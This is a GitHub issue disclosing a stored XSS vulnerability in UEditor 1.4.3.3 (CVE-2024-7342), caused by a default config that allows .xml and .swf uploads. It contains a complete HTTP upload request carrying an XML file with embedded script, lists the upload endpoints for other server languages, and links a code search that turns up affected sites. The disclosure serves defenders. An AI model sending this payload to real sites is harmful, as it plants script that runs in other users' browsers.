Hebing123 / cve

0 stars 0 forks source link

Stored Cross-Site Scripting (XSS) Vulnerability in UEditor 1.4.3.3 #62

Open Hebing123 opened 3 months ago

Hebing123 commented 3 months ago

Summary

A stored cross-site scripting (XSS) vulnerability has been identified in UEditor version 1.4.3.3. The vulnerability stems from the default configuration of config.json files within the ≤1.4.3.3 versions of UEditor, which permits the uploading of .swf files. Furthermore, for versions ≥1.4.2 and ≤1.4.3.3, UEditor's config files also allow the uploading of .xml files by default. Since both .swf and .xml files can execute scripts, this presents an opportunity for stored XSS attacks. Many derivative editors and web applications that have integrated UEditor as a component have not modified the fileAllowFiles in the config file, rendering them vulnerable to this issue. https://github.com/search?q=%22.pdf%22%2C+%22.txt%22%2C+%22.md%22%2C+%22.xml%22&type=code&p=1 image

Details

The vulnerability is present in the config.json file of UEditor ≤1.4.3.3, where the configuration allows the upload of .swf files by default. In addition, for versions ≥1.4.2 and ≤1.4.3.3, .xml files are also permitted for upload due to the default settings. For example: v1.3.6:/ueditor/php/upfile.php image v1.4.3.3:/ueditor/php/config.json image

Proof of Concept (POC)

POST Request to Upload XML File

POST /ueditor/php/controller.php?action=uploadfile&encode=utf-8 HTTP/1.1
Host: 127.0.0.1
Content-Length: 898
X_Requested_With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynOYAFmBXFWQqiHW3
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="name"

xmlpayload.xml
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="type"

text/xml
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="lastModifiedDate"

Thu Jul 25 2024 15:28:00 GMT+0800 (China Standard Time)
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="size"

157
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="upfile"; filename="xmlpayload.xml"
Content-Type: text/xml

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(document.host);
</something:script>
</body>
</html>
------WebKitFormBoundarynOYAFmBXFWQqiHW3--

Similar POST requests can be directed to other versions' upload interfaces like /asp/controller.asp?action=uploadfile&encode=utf-8, /jsp/controller.jsp?action=uploadfile&encode=utf-8, and /net/controller.ashx?action=uploadfile&encode=utf-8.

Impact

The vulnerability affects all web applications that have integrated UEditor version 1.4.3.3 or below and have not modified the config.json or upfile program to restrict the file types that can be uploaded.

Hebing123 commented 3 months ago

CVE-2024-7342